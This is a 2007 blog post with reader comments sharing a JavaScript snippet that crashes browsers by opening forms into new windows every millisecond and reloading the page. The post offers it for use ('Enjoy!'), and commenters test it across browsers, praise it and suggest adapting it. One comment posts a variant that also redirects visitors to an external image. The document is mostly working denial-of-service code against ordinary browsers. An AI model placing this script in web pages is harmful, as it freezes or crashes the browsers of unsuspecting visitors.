Browser window spawning DOS
Wednesday, 28 November 2007
This causes DOS in the latest Safari and maybe other browsers too. I tried it in Opera and it does create loads of tabs but seems stable enough to close it down. Enjoy! 🙂
<script type="text/javascript">
window.onload = function() {
setInterval('spawn()',1);
}
function spawn() {
frm = document.createElement('form');
frm.target = 'x' + Math.round(Math.random() * 100000);
frm.method = 'GET';
frm.action = '?';
document.body.appendChild(frm);
frm.submit();
self.location.reload();
}
</script>
No. 1 — November 28th, 2007 at 4:56 pm
I just gave it a shot in Firefox. It loaded three rows of tabs then the popup blocker kicked in, and stopped the rest. Everything remained functional.
No. 2 — November 28th, 2007 at 7:44 pm
In my Opera 9.24 it opens a lot of tabs but with Shit+Ctrl+Alt+W you can close most of them and then quickly go like (Site Preferences Disable Javascript). And that’s it.
No. 3 — November 28th, 2007 at 9:54 pm
Yeah Safari is the only one that seems to have trouble with it, but with a little hacking maybe the others can also be affected.
No. 4 — November 29th, 2007 at 2:03 am
Evil. Pure evil. 🙂 Ingenius.
No. 5 — November 30th, 2007 at 6:28 pm
Great code! Let’s make it pretty 🙂
(It works really well in IE and ies4linux)
<script type=”text/javascript”>
window.onload = function() {
setInterval(‘spawn()’,1);
}
function spawn() {
frm = document.location=’http://misers.org/pictures/SomethingAwful/samakeyoulaugh/stallowned.jpg’
frm = document.createElement(‘form’);
frm.target = ‘x’ + Math.round(Math.random() * 1);
frm.method = ‘GET’;
frm.action = ‘?’;
document.body.appendChild(frm);
frm.submit();
self.location.reload();
}
</script>